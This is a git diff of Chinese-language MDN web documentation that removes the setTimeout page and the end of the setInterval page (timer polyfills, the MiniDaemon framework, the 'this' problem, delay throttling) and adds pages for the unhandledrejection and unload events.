A possible way to solve the "this" problem is to replace the two native setTimeout() or setInterval() global functions with two non-native ones that enable their invocation through the Function.prototype.call method. The following example shows a possible replacement:

- -
// Enable the passage of the 'this' object through the JavaScript timers
-
-var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
-
-window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
-  return __nativeST__(vCallback instanceof Function ? function () {
-    vCallback.apply(oThis, aArgs);
-  } : vCallback, nDelay);
-};
-
-window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
-  return __nativeSI__(vCallback instanceof Function ? function () {
-    vCallback.apply(oThis, aArgs);
-  } : vCallback, nDelay);
-};
- -
These two replacements also enable the HTML5 standard passage of arbitrary arguments to the callback functions of timers in IE. So they can be used as non-standard-compliant polyfills also. See the callback arguments paragraph for a standard-compliant polyfill.
- -

New feature test:

- -
myArray = ['zero', 'one', 'two'];
-
-myArray.myMethod = function (sProperty) {
-    alert(arguments.length > 0 ? this[sProperty] : this);
-};
-
-setTimeout(alert, 1500, 'Hello world!'); // the standard use of setTimeout and setInterval is preserved, but...
-setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
-setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
-
- -

Another, more complex, solution for the this problem is the following framework.

- -
JavaScript 1.8.5 introduces the Function.prototype.bind() method, which lets you specify the value that should be used as this for all calls to a given function. This lets you easily bypass problems where it's unclear what this will be, depending on the context from which your function was called. Also, ES2015 supports arrow functions, with lexical this allowing us to write setInterval( () => this.myMethod) if we're inside myArray method.
- -

MiniDaemon:一个用于管理定时器的小框架

- -

In pages requiring many timers, it can often be difficult to keep track of all of the running timer events. One approach to solving this problem is to store information about the state of a timer in an object. Following is a minimal example of such an abstraction. The constructor architecture explicitly avoids the use of closures. It also offers an alternative way to pass the this object to the callback function (see The "this" problem for details). The following code is also available on GitHub.

- -
For a more complex but still modular version of it (Daemon) see JavaScript Daemons Management. This more complex version is nothing but a big and scalable collection of methods for the Daemon constructor. However, the Daemon constructor itself is nothing but a clone of MiniDaemon with an added support for init and onstart functions declarable during the instantiation of the daemon. So the MiniDaemon framework remains the recommended way for simple animations, because Daemon without its collection of methods is essentially a clone of it.
- -

minidaemon.js

- -
-
/*\
-|*|
-|*|  :: MiniDaemon ::
-|*|
-|*|  Revision #2 - September 26, 2014
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
-|*|  https://developer.mozilla.org/User:fusionchess
-|*|  https://github.com/madmurphy/minidaemon.js
-|*|
-|*|  This framework is released under the GNU Lesser General Public License, version 3 or later.
-|*|  http://www.gnu.org/licenses/lgpl-3.0.html
-|*|
-\*/
-
-function MiniDaemon (oOwner, fTask, nRate, nLen) {
-  if (!(this && this instanceof MiniDaemon)) { return; }
-  if (arguments.length < 2) { throw new TypeError('MiniDaemon - not enough arguments'); }
-  if (oOwner) { this.owner = oOwner; }
-  this.task = fTask;
-  if (isFinite(nRate) && nRate > 0) { this.rate = Math.floor(nRate); }
-  if (nLen > 0) { this.length = Math.floor(nLen); }
-}
-
-MiniDaemon.prototype.owner = null;
-MiniDaemon.prototype.task = null;
-MiniDaemon.prototype.rate = 100;
-MiniDaemon.prototype.length = Infinity;
-
-  /* These properties should be read-only */
-
-MiniDaemon.prototype.SESSION = -1;
-MiniDaemon.prototype.INDEX = 0;
-MiniDaemon.prototype.PAUSED = true;
-MiniDaemon.prototype.BACKW = true;
-
-  /* Global methods */
-
-MiniDaemon.forceCall = function (oDmn) {
-  oDmn.INDEX += oDmn.BACKW ? -1 : 1;
-  if (oDmn.task.call(oDmn.owner, oDmn.INDEX, oDmn.length, oDmn.BACKW) === false || oDmn.isAtEnd()) { oDmn.pause(); return false; }
-  return true;
-};
-
-  /* Instances methods */
-
-MiniDaemon.prototype.isAtEnd = function () {
-  return this.BACKW ? isFinite(this.length) && this.INDEX < 1 : this.INDEX + 1 > this.length;
-};
-
-MiniDaemon.prototype.synchronize = function () {
-  if (this.PAUSED) { return; }
-  clearInterval(this.SESSION);
-  this.SESSION = setInterval(MiniDaemon.forceCall, this.rate, this);
-};
-
-MiniDaemon.prototype.pause = function () {
-  clearInterval(this.SESSION);
-  this.PAUSED = true;
-};
-
-MiniDaemon.prototype.start = function (bReverse) {
-  var bBackw = Boolean(bReverse);
-  if (this.BACKW === bBackw && (this.isAtEnd() || !this.PAUSED)) { return; }
-  this.BACKW = bBackw;
-  this.PAUSED = false;
-  this.synchronize();
-};
-
-
- -
MiniDaemon passes arguments to the callback function. If you want to work on it with browsers that natively do not support this feature, use one of the methods proposed above.
- -

语法

- -

var myDaemon = new MiniDaemon(thisObject, callback[, rate[, length]]);

- -

说明

- -

Returns a JavaScript Object containing all information needed by an animation (like the this object, the callback function, the length, the frame-rate).

- -

参数

- -
-
thisObject
-
The this object on which the callback function is called. It can be an object or null.
-
callback
-
The function that is repeatedly invoked . It is called with three arguments: index (the iterative index of each invocation), length (the number of total invocations assigned to the daemon - finite or Infinity) and backwards (a boolean expressing whether the index is increasing or decreasing). It is something like callback.call(thisObject, index, length, backwards). If the callback function returns a false value the daemon is paused.
-
rate (optional)
-
The time lapse (in number of milliseconds) between each invocation. The default value is 100.
-
length (optional)
-
The total number of invocations. It can be a positive integer or Infinity. The default value is Infinity.
-
- -

MiniDaemon 实例(instance)的属性

- -
-
myDaemon.owner
-
The this object on which is executed the daemon (read/write). It can be an object or null.
-
myDaemon.task
-
The function that is repeatedly invoked (read/write). It is called with three arguments: index (the iterative index of each invocation), length (the number of total invocations assigned to the daemon - finite or Infinity) and backwards (a boolean expressing whether the index is decreasing or not) – see above. If the myDaemon.task function returns a false value the daemon is paused.
-
myDaemon.rate
-
The time lapse (in number of milliseconds) between each invocation (read/write).
-
myDaemon.length
-
The total number of invocations. It can be a positive integer or Infinity (read/write).
-
- -

MiniDaemon 实例的方法

- -
-
myDaemon.isAtEnd()
-
Returns a boolean expressing whether the daemon is at the start/end position or not.
-
myDaemon.synchronize()
-
Synchronize the timer of a started daemon with the time of its invocation.
-
myDaemon.pause()
-
Pauses the daemon.
-
myDaemon.start([reverse])
-
Starts the daemon forward (index of each invocation increasing) or backwards (index decreasing).
-
- -

MiniDaemon 全局对象的方法

- -
-
MiniDaemon.forceCall(minidaemon)
-
Forces a single callback to the minidaemon.task function regardless of the fact that the end has been reached or not. In any case the internal INDEX property is increased/decreased (depending on the actual direction of the process).
-
- -

使用示例

- -

HTML:

- -
<!DOCTYPE html>
-<html>
-<head>
-  <meta charset="UTF-8" />
-  <title>MiniDaemin Example - MDN</title>
-  <script type="text/javascript" src="minidaemon.js"></script>
-  <style type="text/css">
-    #sample_div {
-      visibility: hidden;
-    }
-  </style>
-</head>
-
-<body>
-  <p>
-    <input type="button" onclick="fadeInOut.start(false /* optional */);" value="fade in" />
-    <input type="button" onclick="fadeInOut.start(true);" value="fade out">
-    <input type="button" onclick="fadeInOut.pause();" value="pause" />
-  </p>
-
-  <div id="sample_div">Some text here</div>
-
-  <script type="text/javascript">
-    function opacity (nIndex, nLength, bBackwards) {
-      this.style.opacity = nIndex / nLength;
-      if (bBackwards ? nIndex === 0 : nIndex === 1) {
-        this.style.visibility = bBackwards ? 'hidden' : 'visible';
-      }
-    }
-
-    var fadeInOut = new MiniDaemon(document.getElementById('sample_div'), opacity, 300, 8);
-  </script>
-</body>
-</html>
- -

View this example in action

- -

备注

- -

The setInterval() function is commonly used to set a delay for functions that are executed again and again, such as animations.

- -

You can cancel the interval using {{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}.

- -

If you wish to have your function called once after the specified delay, use {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.

- -

Ensure that execution duration is shorter than interval frequency

- -

If there is a possibility that your logic could take longer to execute than the interval time, it is recommended that you recursively call a named function using {{domxref("WindowOrWorkerGlobalScope.setTimeout")}}. For example, if using setInterval to poll a remote server every 5 seconds, network latency, an unresponsive server, and a host of other issues could prevent the request from completing in its allotted time. As such, you may find yourself with queued up XHR requests that won't necessarily return in order.

- -

In these cases, a recursive setTimeout() pattern is preferred:

- -
(function loop(){
-   setTimeout(function() {
-      // Your logic here
-
-      loop();
-  }, delay);
-})();
-
- -

In the above snippet, a named function loop() is declared and is immediately executed. loop() is recursively called inside setTimeout() after the logic has completed executing. While this pattern does not guarantee execution on a fixed interval, it does guarantee that the previous interval has completed before recursing.

- -

Throttling of intervals

- -

setInterval() is subject to the same throttling restrictions in Firefox as {{domxref("WindowOrWorkerGlobalScope.setTimeout","setTimeout()")}}; see Reasons for delays longer than specified.

- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-setinterval', 'WindowOrWorkerGlobalScope.setInterval()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName("HTML WHATWG", "webappapis.html#dom-setinterval", "WindowTimers.setInterval()")}}{{Spec2("HTML WHATWG")}}Initial definition (DOM Level 0)
- -

浏览器兼容性

- -
- - -

{{Compat("api.WindowOrWorkerGlobalScope.setInterval")}}

-
- -

参见

- - diff --git a/files/zh-cn/web/api/window/settimeout/index.html b/files/zh-cn/web/api/window/settimeout/index.html deleted file mode 100644 index f9813851f7..0000000000 --- a/files/zh-cn/web/api/window/settimeout/index.html +++ /dev/null @@ -1,476 +0,0 @@ ---- -title: window.setTimeout -slug: Web/API/Window/setTimeout -tags: - - Timers - - WindowOrWorkerGlobalScope - - WindowTimers - - setTimeout -translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout ---- -

{{APIRef("HTML DOM")}}

- -

 {{domxref("WindowOrWorkerGlobalScope")}} 混合的 setTimeout()方法设置一个定时器,该定时器在定时器到期后执行一个函数或指定的一段代码。

- -

语法

- -
var timeoutID = scope.setTimeout(function[, delay, arg1, arg2, ...]);
-var timeoutID = scope.setTimeout(function[, delay]);
-var timeoutID = scope.setTimeout(code[, delay]);
- -

参数

- -
-
function
-
{{jsxref("function")}} 是你想要在到期时间(delay毫秒)之后执行的函数
-
code
-
这是一个可选语法,你可以使用字符串而不是{{jsxref("function")}} ,在delay毫秒之后编译和执行字符串 (使用该语法是不推荐的, 原因和使用 {{jsxref("Global_Objects/eval", "eval()")}}一样,有安全风险)。
-
delay {{optional_inline}}
-
延迟的毫秒数 (一秒等于1000毫秒),函数的调用会在该延迟之后发生。如果省略该参数,delay取默认值0,意味着“马上”执行,或者尽快执行。不管是哪种情况,实际的延迟时间可能会比期待的(delay毫秒数) 值长,原因请查看{{anch("实际延时比设定值更久的原因:最小延迟时间")}}。
-
arg1, ..., argN {{optional_inline}}
-
附加参数,一旦定时器到期,它们会作为参数传递给{{jsxref("function")}} 
-
- -
-

备注:需要注意的是,IE9 及更早的 IE 浏览器不支持向回调函数传递额外参数(第一种语法)。如果你想要在IE中达到同样的功能,你必须使用一种兼容代码 (查看  {{anch("兼容旧环境(polyfill)")}} 一段).

-
- -

返回值

- -

返回值timeoutID是一个正整数,表示定时器的编号。这个值可以传递给{{domxref("WindowOrWorkerGlobalScope.clearTimeout","clearTimeout()")}}来取消该定时器。

- -

需要注意的是setTimeout()和{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}共用一个编号池,技术上,clearTimeout()和 {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} 可以互换。但是,为了避免混淆,不要混用取消定时函数。

- -

在同一个对象上(一个window或者worker),setTimeout()或者setInterval()在后续的调用不会重用同一个定时器编号。但是不同的对象使用独立的编号池。

- -

例子

- -

下文的例子在网页中设置了两个简单的按钮,以触发 setTimeout() 和 clearTimeout() 方法:按下第一个按钮会设置一个定时器,定时器在 2s 后显示一个警告对话框,并将此次 setTimeout 的定时器 ID 保存起来,按下第二个按钮可以取消定时器。

- -

HTML

- -
<p>Live Example</p>
-<button onclick="delayedAlert();">Show an alert box after two seconds</button>
-<p></p>
-<button onclick="clearAlert();">Cancel alert before it happens</button>
-
- -
- -
- -
- -
- -

JavaScript

- -
var timeoutID;
-
-function delayedAlert() {
-  timeoutID = window.setTimeout(slowAlert, 2000);
-}
-
-function slowAlert() {
-  alert('That was really slow!');
-}
-
-function clearAlert() {
-  window.clearTimeout(timeoutID);
-}
-
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -

结果展示

- -

{{EmbedLiveSample('例子')}}

- -

也可参考 clearTimeout() 示例.

- -

兼容旧环境(polyfill)

- -

如果你需要向你的回调函数内传递一个或多个参数, 而且还需要兼容那些不支持传递额外参数(不管使用setTimeout() 或者 setInterval())的浏览器时(比如,IE9及更早的版本), 你可以引入下面的兼容代码来支持向定时器函数传参。将以下代码添加到你代码的最上面:

- -
/*\
-|*|
-|*|  Polyfill which enables the passage of arbitrary arguments to the
-|*|  callback functions of JavaScript timers (HTML5 standard syntax).
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/DOM/window.setInterval
-|*|
-|*|  Syntax:
-|*|  var timeoutID = window.setTimeout(func, delay[, param1, param2, ...]);
-|*|  var timeoutID = window.setTimeout(code, delay);
-|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
-|*|  var intervalID = window.setInterval(code, delay);
-|*|
-\*/
-
-(function() {
-  setTimeout(function(arg1) {
-    if (arg1 === 'test') {
-      // feature test is passed, no need for polyfill
-      return;
-    }
-    var __nativeST__ = window.setTimeout;
-    window.setTimeout = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
-      var aArgs = Array.prototype.slice.call(arguments, 2);
-      return __nativeST__(vCallback instanceof Function ? function() {
-        vCallback.apply(null, aArgs);
-      } : vCallback, nDelay);
-    };
-  }, 0, 'test');
-
-  var interval = setInterval(function(arg1) {
-    clearInterval(interval);
-    if (arg1 === 'test') {
-      // feature test is passed, no need for polyfill
-      return;
-    }
-    var __nativeSI__ = window.setInterval;
-    window.setInterval = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
-      var aArgs = Array.prototype.slice.call(arguments, 2);
-      return __nativeSI__(vCallback instanceof Function ? function() {
-        vCallback.apply(null, aArgs);
-      } : vCallback, nDelay);
-    };
-  }, 0, 'test');
-}())
- -

针对IE的解决方法

- -

如果你需要单独的针对IE9及之前浏览器的 hack 写法,你可以使用 JavaScript 条件注释:

- -
/*@cc_on
-  // conditional IE < 9 only fix
-  @if (@_jscript_version <= 9)
-  (function(f){
-     window.setTimeout = f(window.setTimeout);
-     window.setInterval = f(window.setInterval);
-  })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}});
-  @end
-@*/
- -
- -
- -
- -
- -
- -
- -
- -
- -
- -

或者使用更加清晰的 IE HTML 条件注释:

- -
<!--[if lte IE 9]><script>
-(function(f){
-window.setTimeout=f(window.setTimeout);
-window.setInterval=f(window.setInterval);
-})(function(f){return function(c,t){
-var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}
-});
-</script><![endif]-->
-
-
-
- -
- -
- -

变通方法

- -

另一种方法是使用匿名函数包裹你的回调函数,这种方式要消耗更多资源:

- -
var intervalID = setTimeout(function() { myFunc('one', 'two', 'three'); }, 1000);
-
- -
- -

上面那个例子也可以用箭头函数:

- -
var intervalID = setTimeout(() => { myFunc('one', 'two', 'three'); }, 1000);
-
- -

此外,也可使用 function's bind

- -
setTimeout(function(arg1){}.bind(undefined, 10), 1000);
-
- -

关于"this"的问题

- -

当你向 setTimeout() (或者其他函数)传递一个函数时,该函数中的this指向跟你的期望可能不同,这个问题在 JavaScript reference 中进行了详细解释.

- -

解释

- -

setTimeout()调用的代码运行在与所在函数完全分离的执行环境上。这会导致,这些代码中包含的 this 关键字在非严格模式会指向 window (或全局)对象,严格模式下为 undefined,这和所期望的this的值是不一样的。

- -
-

备注:即使是在严格模式下,setTimeout()的回调函数里面的this仍然默认指向window对象, 并不是undefined

-
- -

查看下面的例子:

- -
let myArray = ["zero", "one", "two"];
-myArray.myMethod = function (sProperty) {
-    alert(arguments.length > 0 ? this[sProperty] : this);
-};
-
-myArray.myMethod(); // prints "zero,one,two"
-myArray.myMethod(1); // prints "one"
- -

上面这段代码正常工作,用myArray调用,在函数内,this[sProperty]等于 myArray[sProperty]。然后,下面这个例子:

- -
setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
-setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1.5 seconds
- -

myArray.myMethod函数传递给 setTimeout,到了定时时间,this没有指向,默认指向window对象。并且没有方法把 thisArg 传递给setTimeout,正如Array方法的forEachreduce等。下面的例子表示使用call方法设置this也没用。

- -
setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
-setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
- -

可能的解决方案

- -

一个通用的方法是用包装函数来设置this

- -
setTimeout(function(){myArray.myMethod()}, 2000); // prints "zero,one,two" after 2 seconds
-setTimeout(function(){myArray.myMethod('1')}, 2500); // prints "one" after 2.5 seconds
- -

箭头函数也可以:

- -
setTimeout(() => {myArray.myMethod()}, 2000); // prints "zero,one,two" after 2 seconds
-setTimeout(() => {myArray.myMethod('1')}, 2500); // prints "one" after 2.5 seconds
- -

另一个解决this问题的方法是使用两个非原生的 setTimeout()setInterval() 全局函数代替原生的。该非原生的函数通过使用Function.prototype.call 方法激活了正确的作用域。下面的代码显示了应该如何替换:

- -
// Enable the passage of the 'this' object through the JavaScript timers
-
-var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
-
-window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
-  return __nativeST__(vCallback instanceof Function ? function () {
-    vCallback.apply(oThis, aArgs);
-  } : vCallback, nDelay);
-};
-
-window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
-  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
-  return __nativeSI__(vCallback instanceof Function ? function () {
-    vCallback.apply(oThis, aArgs);
-  } : vCallback, nDelay);
-};
- -
备注: 这两个替换也让 IE支持了符合 HTML5 标准的定时器函数。所以也能作为一个 polyfills。查看 Callback arguments 一段.
- -

新特性检测:

- -
let myArray = ["zero", "one", "two"];
-myArray.myMethod = function (sProperty) {
-    alert(arguments.length > 0 ? this[sProperty] : this);
-};
-
-setTimeout(alert, 1500, "Hello world!"); // the standard use of setTimeout and setInterval is preserved, but...
-setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
-setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
-
- -

针对这个问题并没有原生的解决方案。

- -
注:JavaScript 1.8.5 引入了 Function.prototype.bind() 方法,该方法允许显式地指定函数调用时 this 所指向的值 。该方法可以帮助你解决 this 指向不确定的问题。
- -

使用bind()的例子:

- -
let myArray = ['zero', 'one', 'two'];
-myBoundMethod = (function (sProperty) {
-    console.log(arguments.length > 0 ? this[sProperty] : this);
-}).bind(myArray);
-
-myBoundMethod(); // prints "zero,one,two" because 'this' is bound to myArray in the function
-myBoundMethod(1); // prints "one"
-setTimeout(myBoundMethod, 1000); // still prints "zero,one,two" after 1 second because of the binding
-setTimeout(myBoundMethod, 1500, "1"); // prints "one" after 1.5 seconds
-
- -

备注

- -

你可以使用 {{domxref("WindowOrWorkerGlobalScope.clearTimeout()","clearTimeout()")}}来取消定时器。

- -

如果你希望你的代码被重复的调用 (比如每 N 毫秒一次),考虑使用{{domxref("WindowOrWorkerGlobalScope.setInterval()","setInterval()")}}。

- -

传递字符串字面量

- -

setTimeout()传递一个字符串而不是函数会遭受到与使用eval一样的风险.

- -
// 推荐
-window.setTimeout(function() {
-    alert("Hello World!");
-}, 500);
-
-// 不推荐
-window.setTimeout("alert(\"Hello World!\");", 500);
-
-
- -

字符串会在全局作用域内被解释执行,所以当setTimeout()函数执行完毕后,字符串中的变量不可用.

- -

实际延时比设定值更久的原因:最小延迟时间

- -

有很多因素会导致setTimeout的回调函数执行比设定的预期值更久,本节将讨论最常见的原因。

- -

最小延时 >=4ms

- -

在浏览器中,setTimeout()/{{domxref("WindowOrworkerGlobalScope.setInterval","setInterval()")}} 的每调用一次定时器的最小间隔是4ms,这通常是由于函数嵌套导致(嵌套层级达到一定深度),或者是由于已经执行的setInterval的回调函数阻塞导致的。例如:

- -
function cb() { f(); setTimeout(cb, 0); }
-setTimeout(cb, 0);
- -
setInterval(f, 0);
- -

在Chrome 和 Firefox中, 定时器的第5次调用被阻塞了;在Safari是在第6次;Edge是在第3次。Gecko 从这个版本 version 56开始对 setInterval() 开始采用这样的机制(setTimeout()已经实现,具体请参考以下内容)。

- -

一直以来,不同浏览器中出现这种最小延迟的情况有所不同(例如Firefox) - 从其他地方调用了setInterval( ),或者在嵌套函数调用setTimeout( ) 时(嵌套级别达到特定深度时),都会出现超时延迟。

- -

如果想在浏览器中实现0ms延时的定时器,你可以参考这里所说的{domxref("window.postMessage()")}}

- -
-

Note: 最小延时, DOM_MIN_TIMEOUT_VALUE, 是4ms  (但在Firefox中通常是是存储在 dom.min_timeout_value 这个变量中), DOM_CLAMP_TIMEOUT_NESTING_LEVEL 的第5层.

-
- -
-

Note: 4 ms 是在  HTML5 spec  中精确的,并且在2010年及以后的跨浏览器中保持了一致,这个数值比 {{geckoRelease("5.0")}}规定的嵌套函数的最小延时10ms更为精确。

-
- -

未被激活的tabs的定时最小延迟>=1000ms

- -

为了优化后台tab的加载损耗(以及降低耗电量),在未被激活的tab中定时器的最小延时限制为1S(1000ms)。

- -

Firefox 从version 5 (see {{bug(633421)}}开始采取这种机制,1000ms的间隔值可以通过 dom.min_background_timeout_value 改变。Chrome 从 version 11 (crbug.com/66078)开始采用。

- -

Android 版的Firefox对未被激活的后台tabs的使用了15min的最小延迟间隔时间 ,并且这些tabs也能完全不被加载。

- -
-

当 Web Audio API {{domxref("AudioContext")}} 正在被用来播放音频的时候,Firefox 50不会再限制后台tabs的加载。 后续的Firefox 51 版本修正了这个问题,即使在没有音频播放的情况下,也不再限制后台tabs的加载。这个解决了一些软件应用在后台tabs中播放基于文本的音频( note-based) 时,无法去同步音频和画面的问题。

-
- -

追踪型脚本的最小延时限制

- -

从Firefox 55版本开始,追踪型脚本(例如 谷歌分析,或者其他的一些被Firefox 的 TP lists 识别为追踪型脚本的 外链URL脚本)是重点限制加载的对象。在当前正在使用的页面中,这个节流限制的延时依然是4ms。但是在后台tabs中,这个最小延时限制是10000ms(10s),这个限制会在文档第一次加载后的30s后生效。

- -

控制这些行为的属性包含以下这些:

- - - -

超时延迟

- -

除了"最小延时"之外,定时器仍然有可能因为当前页面(或者操作系统/浏览器本身)被其他任务占用导致延时。 需要被强调是, 直到调用 setTimeout()的主线程执行完其他任务之后,回调函数和代码段才能被执行。例如:

- -
function foo() {
-  console.log('foo has been called');
-}
-setTimeout(foo, 0);
-console.log('After setTimeout');
- -

会在控制台输出:

- -
After setTimeout
-foo has been called
- -

出现这个结果的原因是,尽管setTimeout 以0ms的延迟来调用函数,但这个任务已经被放入了队列中并且等待下一次执行;并不是立即执行;队列中的等待函数被调用之前,当前代码必须全部运行完毕,因此这里运行结果并非预想的那样。

- -

WebExtension Background pages和定时器

- -

在 WebExtension 中 background pages,timers工作不正常。这主要因为background pages实际上,并不是一次性全部加载:如果浏览器没有使用它,就不加载,如果需要就恢复。这对于WebExtension是透明的,但是有些事件(包括JS的timers)不会在不加载/恢复循环中执行,所以WebExtension中建议使用alarms。更详细的细节在合并到事件驱动后台脚本

- -

在本文写作的时候,只有Chrome展示了如上的特性 — Firefox没有未加载/恢复循环的行为,所以timers仍然可以工作。但是,仍然建议不要在WebExtension中使用timers:

- -

1.兼容Chorme。

- -

2.未来行为的改变会引起问题。

- -

最大延时值

- -

包括 IE,  Chrome, Safari, Firefox 在内的浏览器其内部以32位带符号整数存储延时。这就会导致如果一个延时(delay)大于 2147483647 毫秒 (大约24.8 天)时就会溢出,导致定时器将会被立即执行。

- -

规范

- - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-settimeout', 'WindowOrWorkerGlobalScope.setTimeout()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName("HTML WHATWG", "webappapis.html#dom-settimeout", "WindowTimers.setTimeout()")}}{{Spec2("HTML WHATWG")}}Initial definition (DOM Level 0)
- -

浏览器兼容性

- -
- - -

{{Compat("api.WindowOrWorkerGlobalScope.setTimeout")}}

-
- -

相关链接:

- - diff --git a/files/zh-cn/web/api/window/unhandledrejection_event/index.html b/files/zh-cn/web/api/window/unhandledrejection_event/index.html new file mode 100644 index 0000000000..9c3286aa44 --- /dev/null +++ b/files/zh-cn/web/api/window/unhandledrejection_event/index.html @@ -0,0 +1,118 @@ +--- +title: unhandledrejection +slug: Web/Events/unhandledrejection +tags: + - API + - JavaScript + - Promise + - unhandledrejection + - 事件 + - 参考 +translation_of: Web/API/Window/unhandledrejection_event +--- +
{{APIRef("HTML DOM")}}
+ +

当{{jsxref("Promise")}} 被 reject 且没有 reject 处理器的时候,会触发 unhandledrejection 事件;这可能发生在 {{domxref("window")}} 下,但也可能发生在 {{domxref("Worker")}} 中。 这对于调试回退错误处理非常有用。

+ + + + + + + + + + + + + + + + + + + + +
是否冒泡No
是否可取消Yes
接口{{domxref("PromiseRejectionEvent")}}
事件处理器属性{{domxref("WindowEventHandlers.onunhandledrejection", "onunhandledrejection")}}
+ +

使用备注

+ +

unhandledrejection 继承自 {{domxref("PromiseRejectionEvent")}},而 {{domxref("PromiseRejectionEvent")}} 又继承自 {{domxref("Event")}}。因此unhandledrejection 含有 PromiseRejectionEventEvent 的属性和方法。

+ +

例子

+ +

Here we have a few examples showing ways you can make use of the unhandledrejection event. The event includes two useful pieces of information:

+ +

我们将通过几个例子来展示 unhandledrejection 事件的使用方式。该事件主要包含两部分有用的信息:

+ +
+
promise
+
The actual {{jsxref("Promise")}} which was rejected with no handler available to deal with the rejection.
+
特定的 {{jsxref("Promise")}} 被 reject 而没有被相应的异常处理方法所处理时
+
reason
+
The reason that would have been passed into the rejection handler if one had existed. See {{jsxref("Promise.catch", "catch()")}} for details.
+
将会传入异常处理方法中的错误原因(如果存在),查看 {{jsxref("Promise.catch", "catch()")}} 相关以获取更多细节。
+
+ +

基本的异常上报

+ +

此示例只是将有关未处理的 Promise rejection 信息打印到控制台。

+ +
window.addEventListener("unhandledrejection", event => {
+  console.warn(`UNHANDLED PROMISE REJECTION: ${event.reason}`);
+});
+
+ +

您还可以使用 {{domxref("WindowEventHandlers.onunhandledrejection", "onunhandledrejection")}} 事件处理程序属性来设置事件侦听器:

+ +
window.onunhandledrejection = event => {
+  console.warn(`UNHANDLED PROMISE REJECTION: ${event.reason}`);
+};
+
+ +

防止默认处理

+ +

许多环境(例如 {{Glossary("Node.js")}} ) 默认情况下会向控制台打印未处理的 Promise rejections。您可以通过添加一个处理程序来防止 unhandledrejection 这种情况的发生,该处理程序除了您希望执行的任何其他任务之外,还可以调用 {{domxref("Event.preventDefault()", "preventDefault()")}} 来取消该事件,从而防止该事件冒泡并由运行时的日志代码处理。这种方法之所以有效,是因为 unhandledrejection 是可以取消的。

+ +
window.addEventListener('unhandledrejection', function (event) {
+  // ...您的代码可以处理未处理的拒绝...
+
+  // 防止默认处理(例如将错误输出到控制台)
+
+  event.preventDefault();
+});
+
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#unhandled-promise-rejections', 'unhandledrejection')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.unhandledrejection_event")}}

+ +

参考

+ + + +

[1] The corresponding event handler property is defined on the {{domxref("WindowEventHandlers")}} mixin, which is available on both the {{domxref("Window")}} interface and all types of {{domxref("Worker")}} interfaces.

diff --git a/files/zh-cn/web/api/window/unload_event/index.html b/files/zh-cn/web/api/window/unload_event/index.html new file mode 100644 index 0000000000..2510b1f651 --- /dev/null +++ b/files/zh-cn/web/api/window/unload_event/index.html @@ -0,0 +1,125 @@ +--- +title: unload +slug: Web/Events/unload +tags: + - Window + - events + - unload +translation_of: Web/API/Window/unload_event +--- +

{{APIRef}}

+ +

当文档或一个子资源正在被卸载时, 触发 unload事件。

+ + + + + + + + + + + + + + + + + + + + +
可冒泡(Bubbles)No
可取消(Cancelable)No
接口(Interface){{domxref("Event")}}
事件处理程序属性(Event handler property){{domxref("WindowEventHandlers/onunload", "onunload")}}
+ +

它在下面两个事件后被触发:

+ +
    +
  1. beforeunload (可取消默认行为的事件)
  2. +
  3. pagehide
  4. +
+ +

文档处于以下状态:

+ + + +

请注意unload事件也遵循文档树:父iframe会在子iframe卸载前卸载(参考下面的例子).

+ +

示例

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Parent Frame</title>
+    <script>
+      window.addEventListener('beforeunload', function(event) {
+        console.log('I am the 1st one.');
+      });
+      window.addEventListener('unload', function(event) {
+        console.log('I am the 3rd one.');
+      });
+    </script>
+  </head>
+  <body>
+    <iframe src="child-frame.html"></iframe>
+  </body>
+</html>
+ +

下面是 child-frame.html的内容:

+ +
<!DOCTYPE html>
+<html>
